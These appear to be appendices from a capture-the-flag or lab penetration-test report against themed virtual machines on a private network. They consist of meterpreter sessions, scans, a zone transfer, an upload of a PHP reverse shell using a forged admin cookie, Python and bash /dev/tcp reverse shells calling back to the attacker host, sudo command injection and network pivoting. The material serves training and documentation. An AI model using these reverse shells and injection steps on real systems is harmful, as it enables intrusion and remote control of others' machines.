048777/rwxrwx 0 dir 2024-04-02 15:01:32 +1 SendTo
rwx 000
048777/rwxrwx 0 dir 2024-04-02 15:01:32 +1 Start Menu
rwx 000
048777/rwxrwx 0 dir 2024-04-02 15:01:32 +1 Templates
rwx 000
048555/r-r-x 0 dir 2024-04-02 15:01:53 +1 Videos
r-x 000
108666/rw-rw- 262144 fil 2025-05-16 00:20:13 +1 ntuser.dat.LOG1
rw 000
108666/rw-rw- 0 fil 2024-04-02 15:01:32 +1 ntuser.dat.LOG2
rw 000
108666/rw-rw- 20 fil 2024-04-02 15:01:32 +1 ntuser.ini
rw 000

meterpreter > cd Documents
meterpreter > ls
Listing: C:\Users\Coriolanus\Documents

Mode                Size Type     Last modified    Name
-----
048777/rwxrwxrwx 0 dir 2024-04-02 15:01:32 +1000 My Music
048777/rwxrwxrwx 0 dir 2024-04-02 15:01:32 +1000 My Pictures
048777/rwxrwxrwx 0 dir 2024-04-02 15:01:32 +1000 My Videos
108666/rw-rw-rw- 236 fil 2025-04-23 23:53:03 +1000 gccode.me
108666/rw-rw-rw- 402 fil 2024-04-02 15:01:53 +1000 desktop.ini

meterpreter > cat gccode.me
nZouARcYmD013yKqrnfV6AU0XN0QhesrGoFCGzyemwVPMuU53ZcV66dvWMEq5LSN5gLMz4vVVu3
u6SaxwLMMYQJLMFYthoa099.rnbyKXIAAkr3RQxk1052JewfpDp4vVwIsg0W8BumWQKvJtPLa1
w153515w64shg0GtwMAJwfwQmcif78G52Q2QvU1t6cJAC9Ymwi1gsShar8w3Ais8hugagf7uv
meterpreter >

```

## Appendix D.5

```

File Actions Edit View Help
Mode Size Type Last modified Name
108666/rw-rw-r-- 282 fil 2024-04-02 15:01:53 +1000 desktop.ini

meterpreter > cd ..\Downloads
meterpreter > ls
Listing C:\Users\Coriolanus\Downloads

Mode Size Type Last modified Name
108666/rw-rw-r-- 282 fil 2024-04-02 15:01:53 +1000 desktop.ini

meterpreter > cd ..\Documents
Unknown command: cd ..\Documents. Run the help command for more detail
meterpreter > cd ..\Desktop
meterpreter > cd ..\Documents
meterpreter > ls
Listing C:\Users\Coriolanus\Documents

Mode Size Type Last modified Name
404777/rwxrwxr-x 0 dir 2024-04-02 15:01:32 +1000 My Music
404777/rwxrwxr-x 0 dir 2024-04-02 15:01:32 +1000 My Pictures
404777/rwxrwxr-x 0 dir 2024-04-02 15:01:32 +1000 My Videos
108666/rw-rw-r-- 238 fil 2024-04-02 23:18:01 +1000 desktop.ini
108666/rw-rw-r-- 402 fil 2024-04-02 15:01:53 +1000 desktop.ini


meterpreter > cd ..\My Pictures
stdapi fs_chdir: Operation failed: The system cannot find the file sp
ecified.
meterpreter > cd ..\Pictures
meterpreter > ls
Listing C:\Users\Coriolanus\Pictures

Mode Size Type Last modified Name
108666/rw-rw-r-- 504 fil 2024-04-02 15:01:53 +1000 desktop.ini
108666/rw-rw-r-- 1846316 fil 2025-04-23 23:18:07 +1000 wallpaper.png

meterpreter > download wallpaper.png
[*] Downloading: wallpaper.png -> /home/kali/wallpaper.png
[*] Downloading 1421.79 Kib of 1421.79 Kib (100.0%): wallpaper.png -> /hom
e/kali/wallpaper.png
[*] Complete: wallpaper.png -> /home/kali/wallpaper.png
meterpreter >

```

## Appendix D.6



## Appendix D.7

```

Shell No. 1
File Actions Edit View Help
deleteval Delete the supplied registry value [-k <key> -v <val>]
queryval Queries the data contents of a value [-k <key> -v <val>]

meterpreter > reg enumkey -k HKLM\SOFTWARE
Enumerating: HKLM\SOFTWARE

Keys (15):
  ATI Technologies
  CBSTEST
  Classes
  Clients
  FlagsRHere
  Foxit Software
  Intel
  Microsoft
  ODBC
  Policies
  RegisteredApplications
  Sonic
  ThinPrint
  VMware, Inc.
  Wow6432Node

```

## Appendix D.8


```

Shell No. 1
File Actions Edit View Help
meterpreter > ThinPrint
[-] Unknown command: ThinPrint. Run the help command for more details.
meterpreter > VMware, Inc.
[-] Unknown command: VMware,. Run the help command for more details.
meterpreter > Wow6432Node
[-] Unknown command: Wow6432Node. Run the help command for more details.
meterpreter > meterpreter > reg enumval -k HKLM\SOFTWARE\FlagsRHere
[-] Unknown command: meterpreter. Run the help command for more details.
meterpreter > [-] Invalid command supplied: enumval
[-] Unknown command: [-]. Run the help command for more details.
meterpreter > meterpreter >
[-] Unknown command: meterpreter. Run the help command for more details.
meterpreter > execute -f powershell.exe -a "-Command 'Get-ItemProperty -Path HKLM:\SOFTWARE\FlagsRHere | Out-File C:\Users\Coriolanus\regflag.txt'"
Process 3020 created.
meterpreter > cd C:\Users\Coriolanus
meterpreter > LS
[-] Unknown command: LS. Did you mean ls? Run the help command for more details.
meterpreter > ls
Listing: c:\Users\Coriolanus

Mode                Size                Type                Last modified          Name
-----
040777/rwxrwx  0                dir                2024-04-02 15:01:32 +1  AppData
rwx

```

## Appendix D.9



```

Shell No. 1
File Actions Edit View Help
rw- 180666/rw-rw- 0    fil  2024-04-02 15:01:32 +1  ntuser.dat.LOG2
rw- 180666/rw-rw- 20   fil  2024-04-02 15:01:32 +1  ntuser.ini
rw- 180666/rw-rw- 004   fil  2025-05-19 22:10:27 +1  regflag.txt
rw-
meterpreter > cat regflag.txt
**
PSPath           : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\
                  FlagsRHere
PSParentPath     : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\SOFTWARE\
PSChildName      : FlagsRHere
PSDrive          : REG_SZ
PSProvider       : Microsoft.PowerShell.Core\Registry
FLAG            : FLAG - Snow always lands on top, but even the Capitol can't er
                  as
                  e the sound of Lucy Gray's final song echoing through the wood
                  of District 12.
meterpreter >

```

## Appendix D.10



```
Nmap scan report for 192.168.34.241
Host is up (0.00061s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; tocol 2.0)
3128/tcp  open  http-proxy Squid http proxy 3.1.19
8080/tcp  closed http-proxy
MAC Address: 00:15:5D:00:07:04 (Microsoft)
```

## Appendix E.1

```
Starting gobuster in directory enumeration mode

/.html           (Status: 403) [Size: 287]
/.htaccess       (Status: 403) [Size: 291]
/.hta.html       (Status: 403) [Size: 291]
/.hta.txt        (Status: 403) [Size: 290]
/.hta            (Status: 403) [Size: 286]
/cgi-bin/.html   (Status: 403) [Size: 295]
/cgi-bin/        (Status: 403) [Size: 290]
/.htaccess.txt   (Status: 403) [Size: 295]
/.htaccess.html  (Status: 403) [Size: 296]
/connect         (Status: 200) [Size: 203]
/.htpasswd       (Status: 403) [Size: 291]
/.htpasswd.txt   (Status: 403) [Size: 295]
/.htpasswd.html  (Status: 403) [Size: 296]
/index           (Status: 200) [Size: 21]
/index.php       (Status: 200) [Size: 21]
/robots.txt      (Status: 200) [Size: 45]
/robots.txt      (Status: 200) [Size: 45]
/robots          (Status: 200) [Size: 45]
/server-status   (Status: 403) [Size: 295]
Progress: 13842 / 13845 (99.98%)

Finished
```

## Appendix E.2

### Login - Wolf CMS

Username:

Password:


☐ Remember me for 30 minutes.

[\(Forgot password?\)](#)

## Appendix E.3

```
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.34.1'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
..
```

## Appendix E.4




## Appendix E.5

```

$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.34.1] from (UNKNOWN) [192.168.34.241] 51994
Linux TheArena 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40
UTC 2014 i686 i686 i386 GNU/Linux
18:39:51 up 2:35, 0 users, load average: 1.05, 1.04, 1.05
USER      TTY      FROM            LOGIN@   IDLE   JCPU   PCPU   WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

```

## Appendix E.6



## Appendix E.7

```

$ cat > /var/www/connect.py << 'EOF'
> import socket, os, pty
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.34.1", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
pty.spawn("/bin/bash")
EOF> > > > >

root@TheArena:~# exit
exit
exit

(kali@kali)-[~]
$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.34.1] from (UNKNOWN) [192.168.34.241] 52019
root@TheArena:~#

```

## Appendix E.8

```

$ ls
lucy
$ cd lucy
$ ls
flag.txt
hello-world
$ cat flag.txt
FLAG - "The ballad of Lucy Gray Baird" ends in a vanishing act, a trail into
the wilds, and a question: was she ever meant to survive?$

```

## Appendix E.9

```

flag.txt
root@TheArena:~# cat flag.txt
cat flag.txt
FLAG - The Peacekeepers wore white, but they were trained in gray morality. S
ome followed orders; others wrote history in blood across districts.root@TheA
rena:~#

```

## Appendix E.10

```

(kali@kali)-[~]
$ rabin2 -zz hello-world | grep "FLAG"
4783 0x0007d380 0x080c5380 138 143 .rodata utf8 FLAG -
The Capitol's anthem hides a lie in every note. Freedom isn't found in rules
or roses, but in rebellion, verse, and vanished girls.

```

## Appendix E.11

```

PORT  STATE  SERVICE  VERSION
22/tcp open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http     Apache httpd 2.4.38 ((Debian))
MAC Address: 00:15:5D:00:07:06 (Microsoft)
Device type: general purpose
Running: Linux 4.X|5.X

```


## Appendix F.1

```

/ajax.php      (Status: 200) [Size: 0]
/manual       (Status: 301) [Size: 317] [→ http://192.168.34.251/ma
nual/]
/js           (Status: 301) [Size: 313] [→ http://192.168.34.251/js
/]
/index.html   (Status: 200) [Size: 1440]
/dashboard.html (Status: 200) [Size: 532]
/owls         (Status: 301) [Size: 315] [→ http://192.168.34.251/ow

```

## Appendix F.2



## Appendix F.3

```
//The boss told me to add one more Upper Case letter at the end of the cookie
if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == '6G6u@B6uDXMq&Ms'){

    //[+] Add if $_POST['secure'] = 'valid'
    $valid_ext = array("pdf","php","txt");
}
else{
    //if forever
    $valid_ext = array("txt");
}
```

## Appendix F.4

```
$ cd sejanus
$ ls
HangingTree.png
flag.txt
password-reminder.txt
$ cat flag.txt
FLAG - Every snake in the Capitol garden whispers: power is survival, and mercy is just another kind of weakness.$
```

## Appendix F.5

```
listening on [any] 4444 ...
connect to [192.168.34.1] from (UNKNOWN) [192.168.34.251] 37118
bash: cannot set terminal process group (434): Inappropriate ioctl for device
bash: no job control in this shell
root@TheHangingTree:/home/sejanus# cd /root
cd /root
root@TheHangingTree:~# cd home
cd home
bash: cd: home: No such file or directory
root@TheHangingTree:~# s
s
bash: s: command not found
root@TheHangingTree:~# ls
ls
flag.txt
root@TheHangingTree:~# cat flag.txt
cat flag.txt
FLAG - Snow's first kill wasn't in the arena. It was made in secret, to protect a lie, to erase a name, and to ascend.root@TheHangingTree:~#
```

## Appendix F.6



Request

Pretty Raw Hex

```

1 POST /ajax.php HTTP/1.1
2 Host: 192.168.34.251
3 Content-Length: 5693
4 Accept-Language: en-US,en;q=0.9
5 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
6 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4VKPRxS3APyVImB5
7 Accept: */*
8 Origin: http://192.168.34.251
9 Referer: http://192.168.34.251/dashboard.html
10 Accept-Encoding: gzip, deflate, br
11 Connection: keep-alive
12 Cookie: admin=%26G6u%40B6uDXMq%26MsR
13
14 -----WebKitFormBoundary4VKPRxS3APyVImB5
15 Content-Disposition: form-data; name="secure":
16
17 valid
18 -----WebKitFormBoundary4VKPRxS3APyVImB5
19 Content-Disposition: form-data; name="file"; filename="php-reverse-shell.php"
20 Content-Type: application/x-php
21
22 <?php
23 // php-reverse-shell - A Reverse Shell implementation in PHP
24 // Copyright (C) 2007 pentestmonkey@pentestmonkey.net
25 //
26 // This tool may be used for legal purposes only. Users take full responsibility
27 // for any actions performed using this tool. The author accepts no liability
28 // for damage caused by this tool. If these terms are not acceptable to you, then

```

## Appendix F.7

```

(kali@kali)-[~/Downloads]
$ zsteg -a HangingTree.png
b1,rgb,lsb,xy .. text: "FLAG - Not all victors make it out of the arena
. Some become ghosts, legends, or fuel for future flames. The Capitol decides
the winner. The story decides the truth."

```

## Appendix F.8

```

Cookie: admin=%26G6u%40B6uDXMq%26MsR

-----WebKitFormBoundaryAWWl3PChUBhQasJl
Content-Disposition: form-data; name="secure":

```

```

sudo /usr/bin/python3 /home/team-tasks/cookie-gen.py << 'EOF'
10; bash -c '/bin/bash -i >& /dev/tcp/192.168.34.1/4444 0>&1'
EOF

```

```

valid
-----WebKitFormBoundaryAWWl3PChUBhQasJl

```

## Appendix F.9

```

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.16834.1'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

```

## Appendix F.10

```

(kali㉿kali)-[~]
$ nmap -Pn -sV -p80,443 --proxy socks4://127.0.0.1:1080 172.18.55.69
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-20 23:50 AEST
Nmap scan report for 172.18.55.69
Host is up.

PORT      STATE      SERVICE VERSION
80/tcp    filtered  http
443/tcp    filtered  https

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.30 seconds

(kali㉿kali)-[~]
$

```

## Appendix G.1

```

HTTP/1.1 200 OK
Date: Thu, 24 Apr 2025 10:56:46 GMT
Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
Last-Modified: Thu, 06 Sep 2001 03:12:46 GMT
ETag: "8805-b4a-3b96e9ae"
Accept-Ranges: bytes
Content-Length: 2890
Connection: close
Content-Type: text/html

```

## Appendix G.2

```

msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Sending stage (1017704 bytes) to 192.168.34.161
[*] Meterpreter session 1 opened (192.168.34.1:4444 → 192.168.34.161:43472)
at 2025-05-20 23:00:26 +1000

meterpreter >
meterpreter > run autoroute -s 172.18.55.69/32
[*] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[*] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.18.55.69/255.255.255.255 ...
[*] Added route to 172.18.55.69/255.255.255.255 via 192.168.34.161
[*] Use the -p option to list all active routes
meterpreter > portfwd add -l 8080 -p 80 -r 172.18.55.69
[*] Forward TCP relay created: (local) :8080 → (remote) 172.18.55.69:80
meterpreter >
meterpreter >

```

## Appendix G.3

```

(kali@kali)-[~]
$ dig axfr songbirds.snakes @192.168.34.161

; <<>> DiG 9.20.8-6-Debian <<>> axfr songbirds.snakes @192.168.34.161
;; global options: +cmd
songbirds.snakes. 604800 IN SOA ns.songbirds.snakes. admin.so
ngbirds.snakes. 2 604800 86400 2419200 604800
songbirds.snakes. 604800 IN NS ns.songbirds.snakes.
district1.songbirds.snakes. 604800 IN A 192.168.34.161
district12.songbirds.snakes. 604800 IN A 192.168.34.161
district2.songbirds.snakes. 604800 IN A 192.168.34.161
district5.songbirds.snakes. 604800 IN A 192.168.34.161
district6.songbirds.snakes. 604800 IN A 192.168.34.161
district8.songbirds.snakes. 604800 IN A 192.168.34.161
district9.songbirds.snakes. 604800 IN A 192.168.34.161
ns.songbirds.snakes. 604800 IN A 192.168.34.161
theacademy.songbirds.snakes. 604800 IN A 172.18.55.69
thearena.songbirds.snakes. 604800 IN A 192.168.34.241
thecapital.songbirds.snakes. 604800 IN A 192.168.34.52
thehangingtree.songbirds.snakes. 604800 IN A 192.168.34.251
thelaboratory.songbirds.snakes. 604800 IN A 192.168.34.161
songbirds.snakes. 604800 IN SOA ns.songbirds.snakes. admin.so
ngbirds.snakes. 2 604800 86400 2419200 604800
;; Query time: 4 msec
;; SERVER: 192.168.34.161#53(192.168.34.161) (TCP)
;; WHEN: Mon May 19 13:58:58 AEST 2025
;; XFR size: 16 records (messages 1, bytes 507)

(kali@kali)-[~]
$

```

## Appendix G.4

### References

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